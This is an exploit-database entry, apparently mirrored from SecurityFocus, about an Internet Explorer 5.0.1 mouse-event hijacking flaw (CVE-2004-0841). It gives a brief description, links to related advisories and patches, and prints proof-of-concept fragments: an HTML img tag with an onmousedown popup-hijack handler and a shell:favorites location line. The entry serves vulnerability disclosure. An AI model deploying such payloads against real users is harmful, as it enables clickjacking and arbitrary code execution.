Microsoft Internet Explorer 5.0.1 - Popup.show Mouse Event Hijacking
| Reporter | Title | Published | Views | Family All 9 |
|---|---|---|---|---|
 | Internet Explorer Mouse Drag Hijack Arbitrary File Execution - Ver2 (CVE-2004-0841) | 3 Mar 201400:00 | – | checkpoint_advisories |
 | CVE-2004-0841 | 14 Sep 200404:00 | – | cve |
 | CVE-2004-0841 | 14 Sep 200404:00 | – | cvelist |
 | CVE-2004-0841 | 23 Dec 200405:00 | – | nvd |
 | IE 5.01 5.5 6.0 Cumulative patch (890923) | 3 Nov 200500:00 | – | openvas |
| Microsoft Internet Explorer 5.01, 5.5, 6.0 Cumulative Patch (890923, MS05-020) | 3 Nov 200500:00 | – | openvas |
 | Microsoft Security Bulletin MS04-038 Cumulative Security Update for Internet Explorer (834707) | 13 Oct 200400:00 | – | securityvulns |
| US-CERT Technical Cyber Security Alert TA04-293A -- Multiple Vulnerabilities in Microsoft Internet Explorer | 22 Oct 200400:00 | – | securityvulns |
 | VulnCheck KEV: CVE-2004-0841 | 9 Nov 200400:00 | – | vulncheck_kev |
source: https://www.securityfocus.com/bid/10690/info
A vulnerability exists in Microsoft Internet Explorer that may permit a malicious Web page to hijack mouse events. This could potentially be exploited to trick an unsuspecting user into performing unintended actions such as approving pop-up dialogs.
The method caching variant of this attack is also reported to work.
This issue could potentially be exploited to execute arbitrary code or be used in other attacks.
A variant of this proof of concept has been supplied by http-equiv:
Just substitute the following:
1. <img src="greyhat.html" id=anch
onmousedown="parent.nsc.style.width=2000;parent.nsc.style.height=
2000;parent.pop.show(1,1,1,1);parent.setTimeout('showalert
()',3000);" style="width=168px;height=152px;background-image:url
('youlickit.gif');cursor:hand" title="click me!"></a>
2. location="shell:favorites\\greyhat[1].htm"Data
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20 Jan 2013 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 25
EPSS0.48733